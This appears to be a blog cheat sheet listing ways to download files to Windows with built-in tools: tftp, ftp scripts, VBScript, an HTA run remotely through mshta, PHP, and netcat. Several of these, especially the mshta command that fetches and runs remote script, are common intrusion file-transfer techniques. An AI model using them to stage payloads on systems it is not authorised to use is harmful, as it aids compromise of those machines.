Download Files using default windows commands

  1. tftp
  2. ftp
  3. VB Script
  4. PHP Script
  5. Netcat / Telnet

1. tftp

c:\>tftp -i myserver.com GET inout_file.xxx

2. ftp

download.cmd
——————-
open myserver.com
GET inout_file.xxx
quit
——————-

c:\>ftp -s:c:\download.cmd -A

3. VB Script

download.vbs
————————————————————-
Dim DataBin
Dim HTTPGET
Set HTTPGET = CreateObject(“Microsoft.XMLHTTP”)
HTTPGET.Open “GET”, “http://myserver.com/input_file.xxx”, False
HTTPGET.Send
DataBin = HTTPGET.ResponseBody
Const adTypeBinary=1
Const adSaveCreateOverWrite=2
Dim SendBinary
Set SendBinary = CreateObject(“ADODB.Stream”)
SendBinary.Type = adTypeBinary
SendBinary.Open
SendBinary.Write DataBin
SendBinary.SaveToFile “c:\output_file.xxx”, adSaveCreateOverWrite
————————————————————-

get.hta
——————————————————————————————–
<html>&lt;script language=’vbscript’ src=’http://myserver.com/download.vbs’></script></html>
——————————————————————————————–

c:\>get.hta

or

//rename download.vbs download.hta
c:\>mshta http://myserver.com/download.hta

4. PHP Script

download.php
——————————————————-
<?php
$url=”http://myserver.com/input_file.xxx”;
$destination=fopen(“output_file.xxx”,”w”);
$source=fopen($url,”r”);
while ($a=fread($source,1024)) fwrite($destination,$a);
fclose($source);
fclose($destination);
?>
——————————————————-

c:\>php download.php

5. Netcat / Telnet

<myserver>
nc -v -l -p 80 -u -vvv < input_file.xxx

<client>
c:\>nc -u myserver.com 80 > output_file.xxx

or

<client>
c:\>telnet -f output_file.xxx myserver.com 80 //it doesnt work very well

Deixe um comentário